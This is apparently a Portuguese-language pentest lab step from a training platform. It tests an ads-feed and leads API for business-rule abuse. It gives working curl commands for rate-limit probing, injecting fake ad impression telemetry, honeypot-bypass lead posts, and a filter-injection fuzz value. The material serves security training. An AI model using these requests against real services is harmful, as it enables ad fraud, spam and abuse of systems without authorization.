Abuso de regras de negócio

DESTRUTIVO — só em localhost/lab. Nunca em produção. Só em alvo seu ou autorizado por escrito.

Os passos

3.1 Rate limit: for i in $(seq 1 30); do curl -s -o /dev/null -w "%{http_code} " "$BASE/api/feed?niche=health"; done; echo ✅ 30×200, zero 429 → 🔴 achado 5. 3.2 Telemetria falsa (IVT):

curl -s -X POST "$BASE/api/feed/events" -H "Content-Type: application/json" -d '{"events":[
 {"session_id":"pentest_ex3","event_type":"ad_viewable","niche":"auto","geo":"BR","metadata":{"ad_id":"fake-1"}},
 {"session_id":"pentest_ex3","event_type":"ad_impression","niche":"auto","geo":"BR","metadata":{"ad_id":"fake-1"}}]}'

{"ok":true,"count":2} → 🔴 achado 6. 3.3 Honeypot A/B (validado nesta revisão):

curl -s -o /dev/null -w "sem gotcha → %{http_code}\n" -X POST "$BASE/api/leads" -H "Content-Type: application/json" -d '{"name":"PENTEST A - apagar","whatsapp":"11900000012","car_title":"pentest_ex3"}'
curl -s -o /dev/null -w "com gotcha → %{http_code}\n" -X POST "$BASE/api/leads" -H "Content-Type: application/json" -d '{"name":"PENTEST B - apagar","whatsapp":"11900000013","car_title":"pentest_ex3","_gotcha":"spam"}'

A=201 (grava), B=200 (silencioso, NÃO grava) — honeypot correto; a falha é ausência de captcha/limite → 🟠 achado 7. 3.4 Fuzz de parâmetros: limit=100 (trunca em 30 ✅) · offset=999999999 (vazio sem crash ✅) · niche=health),niche.eq.general (tolerado ✅) · card=nao-uuid (fallback ✅).

PurpleLab // plataforma de treino ofensivo + defensivo // Fase 1 — portal dinamico